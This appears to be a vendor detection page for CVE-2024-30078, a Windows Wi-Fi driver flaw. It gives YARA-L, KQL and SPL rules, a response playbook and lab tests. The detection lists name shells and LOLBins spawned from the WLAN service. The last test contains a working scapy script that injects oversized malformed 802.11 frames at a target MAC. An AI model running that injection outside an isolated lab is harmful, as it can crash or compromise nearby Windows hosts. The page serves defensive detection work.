Detect CVE-2024-30078: Windows Wi-Fi Driver Remote Code Execution via Adjacent Network in Google Chronicle
Detects exploitation attempts of CVE-2024-30078, a critical Windows Wi-Fi Driver vulnerability (CWE-591: Sensitive Data Storage in Improperly Locked Memory) that allows unauthenticated remote code execution from an adjacent network. An attacker within Wi-Fi range can send specially crafted network packets to trigger memory corruption in the Windows Wi-Fi driver (nwifi.sys), potentially gaining SYSTEM-level code execution without user interaction. Affected platforms include Windows 10, Windows 11, and Windows Server 2008 through 2022.
MITRE ATT&CK
YARA-L Detection Query
rule cve_2024_30078_wifi_driver_rce {
meta:
author = "df00tech Detection Engineering"
description = "Detects CVE-2024-30078 Windows Wi-Fi Driver RCE exploitation indicators"
severity = "CRITICAL"
priority = "HIGH"
reference = "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30078"
yara_version = "YL2.0"
rule_version = "1.0"
events:
(
// Shell process spawned under WLAN service svchost
$e1.metadata.event_type = "PROCESS_LAUNCH"
and $e1.principal.process.file.full_path = /(?i)svchost\.exe$/
and $e1.principal.process.command_line = /(?i)wlansvc/
and $e1.target.process.file.full_path = /(?i)(cmd\.exe|powershell\.exe|wscript\.exe|cscript\.exe|mshta\.exe|rundll32\.exe|regsvr32\.exe)$/
)
or
(
// Wi-Fi driver referenced in crash/error events
$e1.metadata.event_type = "STATUS_UPDATE"
and $e1.metadata.product_event_type = /(?i)(BugCheck|KernelPanic|UnexpectedShutdown)/
and $e1.about.labels["description"] = /(?i)(nwifi\.sys|wlanext\.exe|wi-fi driver)/
)
or
(
// Suspicious driver service installation
$e1.metadata.event_type = "SERVICE_UNSPECIFIED"
and $e1.target.resource.name = /(?i)(nwifi|wlan)/
and $e1.metadata.product_event_type = /(?i)(ServiceInstall|DriverLoad)/
)
condition:
$e1
} Chronicle YARA-L 2.0 rule for CVE-2024-30078 detection, covering three primary indicators: unexpected process spawning from WLAN service svchost, kernel crash events referencing Wi-Fi driver components, and suspicious Wi-Fi driver service installation activity.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate driver deployment pipelines installing or updating nwifi.sys via service management
- Windows Subsystem features triggering transient WLAN service child processes
- Kernel crash events from hardware instability on machines with faulty wireless adapters
- Security tools enumerating wireless drivers and triggering service-related events
Other platforms for CVE-2024-30078
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate WLAN Service Child Process Spawn (Post-Exploitation Indicator)
Expected signal: Sysmon EventID 1 (Process Create) with ParentImage=svchost.exe, ParentCommandLine containing '-k wlansvc', Image=cmd.exe. MDE DeviceProcessEvents showing InitiatingProcessCommandLine with 'wlansvc'.
- Test 2Wi-Fi Driver Version Audit for Vulnerability Assessment
Expected signal: DeviceEvents with ActionType=FileRead on nwifi.sys path. PowerShell script block logging (EventID 4104) capturing the enumeration commands. WMI activity logs showing Win32_SystemDriver query.
- Test 3Adjacent Network Malformed 802.11 Frame Injection (Controlled Lab)
Expected signal: On the target Windows host: Windows Event Log System EventID 41 or 1001 (BugCheck/kernel crash) if exploitation succeeds. Network capture on the target side shows malformed 802.11 frames from attacker MAC. Defender/EDR may log driver fault events referencing nwifi.sys.
Response Playbook
Triage
- Verify patch status immediately: check if KB5039212 (June 2024 Patch Tuesday) or later cumulative update is installed on the affected host via 'wmic qfe list' or Intune compliance report. Unpatched systems adjacent to untrusted Wi-Fi networks are at highest risk.
- Review Wi-Fi adapter proximity risk: determine if the host is physically located in a public or semi-public area (airport, hotel, conference room) where adjacent-network attackers could be within Wi-Fi range. Hosts in fully controlled network environments have significantly reduced exposure.
- Examine Windows Event Log System channel for EventID 41 (Kernel Power - unexpected reboot) or EventID 1001 (BugCheck) with mentions of nwifi.sys in the crash dump path or message. Multiple recent occurrences without known hardware cause elevate suspicion.
- Check for unexpected processes spawned under svchost.exe -k wlansvc context using EDR process tree analysis. Any cmd.exe, powershell.exe, or interpreter processes as children of the WLAN service svchost represent a high-confidence post-exploitation indicator.
- Correlate with physical location and network access logs: identify what Wi-Fi networks the host was connected to at the time of suspicious events, and whether any unknown/rogue access points were detected nearby.
Containment
- Immediately isolate the suspected host from all networks (wired and wireless) using EDR network isolation or physical disconnection. Given the kernel-level exploit, assume SYSTEM-level compromise and treat accordingly.
- Disable the Windows Wi-Fi driver on all unpatched hosts in the environment by executing 'netsh wlan set autoconfig enabled=no interface="Wi-Fi"' or via Group Policy, until the June 2024 (or later) cumulative update is deployed. For servers, disable the WLAN AutoConfig service (wlansvc) if wireless is not required.
- Block rogue or unknown SSID connections enterprise-wide via wireless IDS/IPS or managed access point policy to prevent additional exploitation attempts from adjacent-network attackers.
Evidence Collection
- Collect full memory dump (kernel + user space) from the affected host using WinPmem or built-in Windows complete memory dump configuration before any reboots. The exploit operates in kernel memory (nwifi.sys) and volatile artifacts will be lost on restart.
- Preserve Windows Event Logs (System, Security, Application) and the most recent minidump files from C:\Windows\Minidump\ to a forensic share. Extract the crash dump analysis using WinDbg '!analyze -v' to confirm nwifi.sys involvement and identify the faulting instruction.
- Capture wireless packet capture (PCAP) from adjacent network access points covering the time window around the incident. 802.11 management and data frames directed at the affected host's MAC address may reveal the malformed packet used to trigger the vulnerability.
Escalation Criteria
- !Escalate immediately to incident response if any child process was confirmed spawned from the WLAN service svchost context, particularly if followed by outbound network connections to external IPs — this indicates successful RCE and likely active threat actor access.
- !Escalate if multiple hosts in the same physical location show simultaneous Wi-Fi driver crashes or suspicious events within a short time window, suggesting a targeted adjacent-network attack campaign rather than isolated hardware failure.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
C:\Windows\Minidump\*.dmp — kernel minidump files containing stack traces; analyze with WinDbg for nwifi.sys stack frames at time of crash - >
Windows Event Log System — EventID 41, 1001, 6008 with BugCheckCode referencing ndis.sys or nwifi.sys driver stack - >
C:\Windows\System32\drivers\nwifi.sys — hash and version of the Wi-Fi driver; compare against patched version shipped in KB5039212 - >
EDR process tree around time of incident — look for svchost.exe (wlansvc) spawning cmd.exe, powershell.exe, or network tools - >
Wireless PCAP from managed APs — 802.11 frames with malformed or oversized information elements targeted at victim MAC address in the exploitation time window
Tuning Guidance
Initial deployment will generate alerts primarily from legitimate driver updates and IT administrative activity. Tune by building an allowlist of known-good parent process command-line patterns for svchost -k wlansvc child spawning (e.g., specific MDM or management tools). Suppress kernel crash alerts (EventID 41/1001) from hosts with documented hardware-failing wireless adapters. Prioritize alerting on hosts that are (1) unpatched per vulnerability management data, (2) located in high-risk physical environments (public-facing offices, shared co-working spaces), and (3) showing both a crash event AND subsequent unusual process activity within a short time window — the combination is the highest-confidence exploitation signal.
Hunting Queries
Hunt for any historical process spawning from the WLAN service svchost context across the environment over the last 7 days. This is a low-noise, high-fidelity hunt since the WLAN service (wlansvc) should virtually never spawn interactive shells or scripting engines.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName =~ "svchost.exe"
| where InitiatingProcessCommandLine has "wlansvc"
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "certutil.exe", "bitsadmin.exe")
| summarize count(), make_set(FileName), make_set(ProcessCommandLine) by DeviceId, DeviceName, bin(Timestamp, 1h)
| order by count_ desc index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=1
| where ParentImage like "%svchost.exe%" AND CommandLine like "%wlansvc%"
| where Image like "%cmd.exe%" OR Image like "%powershell.exe%" OR Image like "%wscript.exe%" OR Image like "%mshta.exe%"
| stats count by _time, host, ParentImage, Image, CommandLine, ParentCommandLine
| sort -count Hunt for hosts running outdated, unpatched versions of nwifi.sys. The patched driver versions were shipped with the June 2024 cumulative update. Any host loading an older driver version remains vulnerable to CVE-2024-30078.
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "DriverLoad"
| where FileName =~ "nwifi.sys"
| extend DriverVersion = tostring(parse_json(AdditionalFields).DriverVersion)
| where DriverVersion !startswith "10.0.19041.4" and DriverVersion !startswith "10.0.22621.3"
| project Timestamp, DeviceName, FileName, DriverVersion, InitiatingProcessFileName index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational" EventCode=2004
| where Message like "%nwifi%"
| rex field=Message "Version=(?<DriverVersion>[\d\.]+)"
| where NOT (DriverVersion like "10.0.19041.4%" OR DriverVersion like "10.0.22621.3%")
| table _time, host, DriverVersion, Message Atomic Red Team Tests
Simulates the process lineage that would be observed after successful CVE-2024-30078 exploitation, where the WLAN AutoConfig service (running as svchost.exe -k wlansvc) spawns a child shell. This tests whether EDR and SIEM detections fire on the post-exploitation process tree without requiring actual kernel exploitation.
Command
# LAB ONLY - Run as Administrator
# Step 1: Find the svchost PID hosting wlansvc
$wlansvcPid = (Get-WmiObject Win32_Service -Filter "Name='wlansvc'").ProcessId
Write-Host "WLAN service PID: $wlansvcPid"
# Step 2: Use PsExec to spawn cmd.exe under that specific svchost process context
# (Requires Sysinternals PsExec in PATH)
psexec.exe -p $wlansvcPid cmd.exe /c "whoami && echo CVE-2024-30078 simulation active && ipconfig" Cleanup
# Terminate any spawned cmd.exe processes from simulation
Get-Process cmd | Where-Object { $_.Parent.Id -eq $wlansvcPid } | Stop-Process -Force Expected Telemetry
Sysmon EventID 1 (Process Create) with ParentImage=svchost.exe, ParentCommandLine containing '-k wlansvc', Image=cmd.exe. MDE DeviceProcessEvents showing InitiatingProcessCommandLine with 'wlansvc'.
Expected Detection
All seven SIEM queries should alert on the 'Shell Spawned from WLAN Service' detection branch. EDR process tree visualization should show svchost (wlansvc) -> cmd.exe lineage.
Enumerates the currently loaded nwifi.sys driver version to determine if the host is running the patched version (shipped in June 2024 Patch Tuesday). This simulates what an attacker would check before attempting exploitation and validates the hunting query for unpatched driver versions.
Command
# Check nwifi.sys version - runs without elevation
$driverPath = "$env:SystemRoot\System32\drivers\nwifi.sys"
$versionInfo = (Get-Item $driverPath).VersionInfo
Write-Host "Driver: $driverPath"
Write-Host "Version: $($versionInfo.FileVersion)"
Write-Host "Product: $($versionInfo.ProductVersion)"
# Also check via WMI
Get-WmiObject Win32_SystemDriver | Where-Object { $_.Name -eq 'NativeWifiP' } | Select-Object Name, PathName, State, Status
# Check installed patches for KB5039212
Get-HotFix | Where-Object { $_.HotFixID -eq 'KB5039212' } Cleanup
# No cleanup required - read-only operation Expected Telemetry
DeviceEvents with ActionType=FileRead on nwifi.sys path. PowerShell script block logging (EventID 4104) capturing the enumeration commands. WMI activity logs showing Win32_SystemDriver query.
Expected Detection
The driver version hunting query should return this host if nwifi.sys version predates the June 2024 patch. Version strings beginning with pre-patch build numbers should trigger the unpatched-host hunt.
Uses a Linux host with a monitor-mode capable wireless adapter to inject malformed 802.11 management frames toward a target Windows host running an unpatched Wi-Fi driver. Designed to replicate the attack vector of CVE-2024-30078 in an isolated lab environment. CRITICAL: Only perform in an RF-isolated lab environment with no other wireless devices in range.
Command
# ISOLATED LAB ENVIRONMENT ONLY
# Requires: aircrack-ng suite, scapy, monitor-mode capable Wi-Fi adapter
# NEVER run against production systems or in environments with other Wi-Fi users
# Step 1: Put adapter in monitor mode
SURFACE_IFACE="wlan1"
sudo airmon-ng start $SURFACE_IFACE
MON_IFACE="wlan1mon"
# Step 2: Identify target MAC and channel
TARGET_MAC="AA:BB:CC:DD:EE:FF" # Replace with lab target Windows host MAC
TARGET_CHANNEL=6
sudo iwconfig $MON_IFACE channel $TARGET_CHANNEL
# Step 3: Use scapy to craft and send oversized/malformed Probe Response
# This simulates the class of malformed frame that triggers CWE-591 in nwifi.sys
python3 - <<'SCAPY'
from scapy.all import *
from scapy.layers.dot11 import *
target = "AA:BB:CC:DD:EE:FF" # Lab target
attacker = "11:22:33:44:55:66" # Attacker adapter MAC
# Craft malformed Probe Response with oversized SSID and IEs
pkt = RadioTap() / \
Dot11(type=0, subtype=5, addr1=target, addr2=attacker, addr3=attacker) / \
Dot11ProbeResp(timestamp=0, beacon_interval=100, cap=0x0431) / \
Dot11Elt(ID='SSID', info='A'*255) / \
Dot11Elt(ID=221, info='B'*255) # Vendor-specific IE - oversized
for i in range(100):
sendp(pkt, iface='wlan1mon', verbose=False)
time.sleep(0.01)
print('Probe responses sent - monitor target for kernel crash')
SCAPY Cleanup
# Restore adapter from monitor mode
sudo airmon-ng stop wlan1mon
sudo ifconfig wlan1 up Expected Telemetry
On the target Windows host: Windows Event Log System EventID 41 or 1001 (BugCheck/kernel crash) if exploitation succeeds. Network capture on the target side shows malformed 802.11 frames from attacker MAC. Defender/EDR may log driver fault events referencing nwifi.sys.
Expected Detection
Wi-Fi Driver Crash detection branches in KQL, SPL, and other SIEM queries should fire if the driver crashes. If full exploitation were achieved (theoretical at this stage), the process-spawn detection branch would also activate.